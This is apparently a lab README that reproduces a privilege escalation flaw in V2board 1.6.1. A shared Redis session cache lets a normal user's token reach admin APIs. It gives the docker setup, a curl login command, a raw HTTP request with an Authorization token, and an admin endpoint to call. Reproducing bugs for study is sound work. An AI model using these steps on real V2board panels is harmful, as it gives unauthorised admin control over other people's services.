# V2board 1.6.1 Privilege Escalation
|
|
|
|
[中文版本(Chinese version)](README.zh-cn.md)
|
|
|
|
V2board is a multiple proxy protocol manage panel application interface. In the version of 1.6.1, it is introduced a redis cache mechanism to save the user session.
|
|
|
|
Since there is no distinction between administrator and normal user in the cache layer, resulting in normal users being able to use their token to access the administrator interface.

|
|
|
|
## Vulnerable Environment
|
|
|
|
Execute following command to start the V2board 1.6.1:
|
|
|
|
```
|
|
docker compose up -d
|
|
```
|
|
|
|
After the server is started, browse the `http://localhost:8080` to see the default login page of the V2board.
|
|
|
|
## Exploit
|
|
|
|
First of all, you have to register a normal user.
|
|
|
|
Then, replace the email and password with your own data and login:
|
|
|
|
```
|
|
curl -i -s -k -XPOST --data-binary "email=example%40example.com&password=a123123123" http://localhost:8080/api/v1/passport/auth/login
|
|
```
|
|
|
|
The server will response a "auth_data" to you:
|
|
|
|
|
|
|
|
Copy it and end the following request with your "auth_data":
|
|
|
|
```
|
|
GET /api/v1/user/info HTTP/1.1
|
|
Host: localhost:8080
|
|
Accept-Encoding: gzip, deflate
|
|
Accept: */*
|
|
Accept-Language: en-US;q=0.9,en;q=0.8
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
|
|
Connection: close
|
|
Authorization: ZXhhbXBsZUBleGFtcGxlLmNvbTokMnkkMTAkMVJpUFplR2RnZlFPSVRyWEM4dW0udW5QZVZNTGs3RlFFbkFVVnBwbEhmTlMyczdQaEpTa3E=
|
|
Cache-Control: max-age=0
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
This step is to let server save your authorization to Redis cache.
|
|
|
|
Finally, you are able to simply call all admin API with this authorization, for example `http://your-ip:8080/api/v1/admin/user/fetch`:
